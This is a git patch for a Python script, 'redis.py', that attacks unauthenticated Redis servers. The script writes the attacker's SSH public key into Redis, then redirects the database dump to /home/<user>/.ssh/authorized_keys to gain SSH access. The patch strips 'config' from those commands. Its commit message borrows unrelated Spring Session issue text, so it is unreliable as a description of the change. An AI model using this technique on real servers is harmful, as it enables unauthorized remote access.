From 4e05997479dcbfbc82a9f5a78286e57e100a01b7 Mon Sep 17 00:00:00 2001 From: Wiguna R Date: Wed, 11 Jul 2018 00:14:50 +0700 Subject: [PATCH] delete 'config' command in redis-cli https://github.com/spring-projects/spring-session/issues/124 Redis security recommends disabling the CONFIG command so that remote users cannot reconfigure an instance. The RedisHttpSessionConfiguration requires access to this during its initialization. Hosted Redis services, like AWS ElastiCache disable this command by default, with no option to re-enable it. correct me if I'm wrong ;) --- redis.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/redis.py b/redis.py index 338d459..963d813 100644 --- a/redis.py +++ b/redis.py @@ -35,9 +35,9 @@ def ssh_connection(): os.system(cmd) cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist' os.system(cmd2) - cmd3 = cmd1 + ' config set dbfilename "backup.db" ' - cmd4 = cmd1 + ' config set dir' + " /home/"+username+"/.ssh/" - cmd5 = cmd1 + ' config set dbfilename "authorized_keys" ' + cmd3 = cmd1 + ' set dbfilename "backup.db" ' + cmd4 = cmd1 + ' set dir' + " /home/"+username+"/.ssh/" + cmd5 = cmd1 + ' set dbfilename "authorized_keys" ' cmd6 = cmd1 + ' save' os.system(cmd3) os.system(cmd4)